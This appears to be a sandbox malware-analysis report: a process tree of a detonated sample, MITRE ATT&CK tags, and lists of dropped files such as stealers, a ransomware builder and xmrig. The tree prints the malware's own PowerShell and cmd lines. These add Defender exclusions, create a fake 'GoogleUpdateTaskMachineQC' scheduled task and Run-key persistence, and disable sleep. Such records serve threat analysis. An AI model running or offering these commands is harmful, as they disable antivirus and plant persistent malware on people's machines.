C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 388 -p 3940 -ip 39401⤵
-
C:\Windows\system32\dwm.exe"dwm.exe"1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force1⤵
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe pxpxvzslvmqtfph1⤵
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 3108 -ip 31081⤵
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#xfxixcb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }1⤵
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 01⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#extmbyk#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }1⤵
-
C:\Windows\system32\dwm.exe"dwm.exe"1⤵
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Users\Admin\AppData\Local\Temp\d887ceb89d\explorhe.exeC:\Users\Admin\AppData\Local\Temp\d887ceb89d\explorhe.exe1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1260 -s 4162⤵
- Program crash
-
-
C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exeC:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 5320 -ip 53201⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 5320 -ip 53201⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 5320 -ip 53201⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#gbwcex#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 1260 -ip 12601⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#vfmevgxzp#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 4868 -ip 48681⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force1⤵
-
C:\ProgramData\wikombernizc\reakuqnanrkn.exeC:\ProgramData\wikombernizc\reakuqnanrkn.exe1⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#gbwcex#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#vfmevgxzp#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }1⤵
Network
MITRE ATT&CK Enterprise v15
Persistence
Create or Modify System Process
3Windows Service
3Pre-OS Boot
1Bootkit
1Scheduled Task/Job
1Privilege Escalation
Create or Modify System Process
3Windows Service
3Scheduled Task/Job
1Defense Evasion
Impair Defenses
2Disable or Modify System Firewall
1Modify Registry
1Pre-OS Boot
1Bootkit
1Scripting
1Replay Monitor
Loading Replay Monitor...
Downloads
WR64.sys
config.json
.exe
.exe
setup.ini
e0cbefcb1af40c7d4aff4aca26621a98.exe
toolspub1.exe
rty27.exe
FirstZ.exe
plata.exe
redline1234.exe
moto.exe
2024.exe
latestroc.exe
MRK.exe
installs.exe
alex.exe
sadsadsadsa.exe
fsdfsfsfs.exe
rdxx1.exe
crypted.exe
lada.exe
360base.dll
32.cab
64.cab
BLduscfibj.exe
12028.exe
123.exe
1230.exe
12cc22da6901d5fc26e8f2d3ee79a1c346f83a7ae43e25d1384e1df23d9adb69.exe
12cc22da6901d5fc26e8f2d3ee79a1c346f83a7ae43e25d1384e1df23d9adb69.exe
288c47bbc1871b439df19ff4df68f0766.exe
360TS_Setup.exe
360TS_Setup.exe
360TS_Setup.exe
360TS_Setup_Mini_WW.Ginmobi.CPI202401_6.6.0.1060.exe
360TS_Setup_Mini_WW.Ginmobi.CPI202401_6.6.0.1060.exe
360TS_Setup_Mini_WW.Ginmobi.CPI202401_6.6.0.1060.exe
3b9da1066d77143b24ee1c9b9c9787f63400bc599fcaf4bfc8f58efc802cf760.exe
6.exe
75d8077636ee1ec7b44f33cfdc65dc4a5b96d4c0b9ac3df0879b97e2bae1f9dd.exe
865b3db67f0565e0b41e72aa036d78183c33dab95bd4be7b4f13aebda88ab0c0.exe
Amdau.exe
BelgiumchainAGRO.exe
BelgiumchainAGRO.exe
BelgiumchainAGRO.exe
Client-built.exe
Creal.exe
Doublepulsar-1.3.1.exe
RiseBuild.exe
StealerClient_Cpp_1_4.exe
StealerClient_Sharp_1_4.exe
SystemUpdate.exe
TaAgente.exe
TaAgente.exe
TaAgente.exe
Temp1.exe
amers.exe
asdfg.exe
brg.exe
build.exe
buildcosta.exe
cluton.exe
crypted.exe
cs_maltest.exe
cs_maltest.exe
dusers.exe
flesh.exe
gate3_64.exe
iox.exe
kololl.exe
kololl.exe
kololl.exe
laplas03.exe
laplas03.exe
laplas03.exe
leg221.exe
lololoolll.exe
ma.exe
ma.exe
ma.exe
ofg7d45fsdfgg312.exe
patch.exe
payload.exe
plink.exe
ransom_builder.exe
sqlcmd.exe
tidex_-_short_stuff.exe
timeSync.exe
twztl.exe
xmrig.exe
Include.exe
_hashlib.pyd
_lzma.pyd
libssl-1_1.dll
select.pyd
__PSScriptPolicyTest_1xwqo1qk.yit.ps1
autD170.tmp
crcook.txt
information.txt
0JkaV6niHi_GoqhPSmbi.exe
QdX9ITDLyCRBWeb Data
XCYWZpr8KUdxG6ZfwEHe.exe
ZunTSaNJLBVfWeb Data
kAFZS8MHXWJOKyrxlKmZ.exe
_bz2.pyd
_lzma.pyd
_socket.pyd
_ssl.pyd
_uuid.pyd
libcrypto-1_1.dll
libssl-1_1.dll
python311.dll
python311.dll
test.exe
test.exe
vcruntime140.dll
skin.dll
tmp9B36.tmp.bat
upx.exe
visual-c++.exe
{5B34596E-A66E-4516-B0AC-FF359ED38F20}.tmp
360P2SP.dll
360P2SP.dll
Tempcrorfcxoxj.db
Tempcrqhdnkhhm.db
clip64.dll
cred64.dll
qemu-ga.exe
CachedImage_1024_600_POS4.jpg
memory/460-145-0x0000000000400000-0x0000000000409000-memory.dmp
memory/460-36-0x0000000000400000-0x0000000000409000-memory.dmp
memory/460-40-0x0000000000400000-0x0000000000409000-memory.dmp
memory/1016-243-0x0000000000F20000-0x0000000000F21000-memory.dmp
memory/1016-242-0x000000001C270000-0x000000001C280000-memory.dmp
memory/1016-241-0x00007FF9500C0000-0x00007FF950B81000-memory.dmp
memory/1092-181-0x0000000000400000-0x0000000000409000-memory.dmp
memory/1104-323-0x0000000000400000-0x000000000043B000-memory.dmp
memory/1104-321-0x0000000000400000-0x000000000043B000-memory.dmp
memory/1104-319-0x0000000000400000-0x000000000043B000-memory.dmp
memory/1116-1-0x0000000074500000-0x0000000074CB0000-memory.dmp
memory/1116-3-0x0000000005000000-0x0000000005010000-memory.dmp
memory/1116-154-0x0000000074500000-0x0000000074CB0000-memory.dmp
memory/1116-2-0x00000000050D0000-0x000000000516C000-memory.dmp
memory/1116-177-0x0000000005000000-0x0000000005010000-memory.dmp
memory/1116-0-0x00000000006C0000-0x00000000006C8000-memory.dmp
memory/1364-532-0x0000000002280000-0x00000000023F5000-memory.dmp
memory/1664-289-0x0000000005700000-0x000000000570A000-memory.dmp
memory/1664-280-0x0000000004F20000-0x0000000004F94000-memory.dmp
memory/1664-273-0x00000000006B0000-0x00000000007BE000-memory.dmp
memory/1664-274-0x0000000074500000-0x0000000074CB0000-memory.dmp
memory/1664-287-0x0000000005160000-0x0000000005182000-memory.dmp
memory/1664-286-0x0000000005270000-0x00000000055C4000-memory.dmp
memory/1664-279-0x00000000051C0000-0x00000000051D0000-memory.dmp
memory/2068-236-0x0000000000540000-0x0000000000541000-memory.dmp
memory/2288-482-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2288-500-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2288-504-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2288-506-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2288-507-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2288-498-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2288-491-0x000001E03A8C0000-0x000001E03A8E0000-memory.dmp
memory/2288-490-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2288-480-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2288-486-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2908-80-0x00000000072D0000-0x00000000077FC000-memory.dmp
memory/2908-35-0x0000000005110000-0x0000000005176000-memory.dmp
memory/2908-24-0x00000000002B0000-0x000000000030A000-memory.dmp
memory/2908-79-0x0000000006BD0000-0x0000000006D92000-memory.dmp
memory/2908-28-0x0000000074500000-0x0000000074CB0000-memory.dmp
memory/2908-29-0x0000000004C00000-0x0000000004C10000-memory.dmp
memory/2908-30-0x0000000005230000-0x0000000005848000-memory.dmp
memory/2908-31-0x0000000004CD0000-0x0000000004CE2000-memory.dmp
memory/2908-32-0x0000000004E00000-0x0000000004F0A000-memory.dmp
memory/2908-33-0x0000000004D30000-0x0000000004D6C000-memory.dmp
memory/2908-34-0x0000000004D70000-0x0000000004DBC000-memory.dmp
memory/2908-176-0x0000000074500000-0x0000000074CB0000-memory.dmp
memory/2908-46-0x00000000066B0000-0x0000000006700000-memory.dmp
memory/2908-44-0x0000000005E10000-0x0000000005E2E000-memory.dmp
memory/2908-41-0x0000000006100000-0x00000000066A4000-memory.dmp
memory/2908-42-0x0000000005C30000-0x0000000005CC2000-memory.dmp
memory/2908-43-0x0000000005CD0000-0x0000000005D46000-memory.dmp
memory/2924-39-0x00000000004D0000-0x00000000004D9000-memory.dmp
memory/2924-37-0x0000000000710000-0x0000000000810000-memory.dmp
memory/2996-240-0x0000000003E90000-0x0000000003E91000-memory.dmp
memory/2996-94-0x0000000003E90000-0x0000000003E91000-memory.dmp
memory/3172-112-0x00007FF9500C0000-0x00007FF950B81000-memory.dmp
memory/3172-166-0x0000000001DE0000-0x0000000001DE1000-memory.dmp
memory/3172-165-0x00007FF9500C0000-0x00007FF950B81000-memory.dmp
memory/3172-111-0x0000000000C70000-0x0000000001036000-memory.dmp
memory/3172-257-0x0000000001DE0000-0x0000000001DE1000-memory.dmp
memory/3172-164-0x000000001CC00000-0x000000001CC10000-memory.dmp
memory/3344-315-0x0000000004E50000-0x0000000004E65000-memory.dmp
memory/3344-196-0x0000000000550000-0x00000000006DC000-memory.dmp
memory/3344-322-0x0000000004E70000-0x0000000004E80000-memory.dmp
memory/3344-296-0x0000000004E50000-0x0000000004E65000-memory.dmp
memory/3344-299-0x0000000004E50000-0x0000000004E65000-memory.dmp
memory/3344-294-0x0000000004E50000-0x0000000004E65000-memory.dmp
memory/3344-320-0x0000000074500000-0x0000000074CB0000-memory.dmp
memory/3344-291-0x0000000004E50000-0x0000000004E65000-memory.dmp
memory/3344-301-0x0000000004E50000-0x0000000004E65000-memory.dmp
memory/3344-317-0x0000000004E50000-0x0000000004E65000-memory.dmp
memory/3344-290-0x0000000004E50000-0x0000000004E6C000-memory.dmp
memory/3344-305-0x0000000004E50000-0x0000000004E65000-memory.dmp
memory/3344-292-0x0000000004E50000-0x0000000004E65000-memory.dmp
memory/3344-307-0x0000000004E50000-0x0000000004E65000-memory.dmp
memory/3344-313-0x0000000004E50000-0x0000000004E65000-memory.dmp
memory/3344-311-0x0000000004E50000-0x0000000004E65000-memory.dmp
memory/3344-309-0x0000000004E50000-0x0000000004E65000-memory.dmp
memory/3344-195-0x0000000074500000-0x0000000074CB0000-memory.dmp
memory/3428-113-0x0000000002560000-0x0000000002576000-memory.dmp
memory/3468-174-0x00007FF9500C0000-0x00007FF950B81000-memory.dmp
memory/3468-161-0x0000000000A20000-0x0000000000A28000-memory.dmp
memory/3468-255-0x00007FF9500C0000-0x00007FF950B81000-memory.dmp
memory/3592-178-0x0000000000570000-0x0000000000670000-memory.dmp
memory/3960-66-0x0000000000440000-0x000000000129E000-memory.dmp
memory/3960-54-0x0000000000440000-0x000000000129E000-memory.dmp
memory/4440-233-0x0000000005940000-0x000000000598C000-memory.dmp
memory/4440-220-0x0000000004FE0000-0x000000000501E000-memory.dmp
memory/4440-221-0x0000000002420000-0x0000000002430000-memory.dmp
memory/4440-222-0x0000000002420000-0x0000000002430000-memory.dmp
memory/4440-223-0x0000000002420000-0x0000000002430000-memory.dmp
memory/4440-219-0x0000000002420000-0x0000000002430000-memory.dmp
memory/4440-212-0x0000000074500000-0x0000000074CB0000-memory.dmp
memory/4440-304-0x0000000074500000-0x0000000074CB0000-memory.dmp
memory/4440-211-0x00000000023C0000-0x0000000002402000-memory.dmp
memory/4844-259-0x0000000000400000-0x0000000000409000-memory.dmp
memory/4868-484-0x0000000000400000-0x000000000062E000-memory.dmp
memory/4868-487-0x0000000000400000-0x000000000062E000-memory.dmp
memory/4872-260-0x0000000000628000-0x000000000063D000-memory.dmp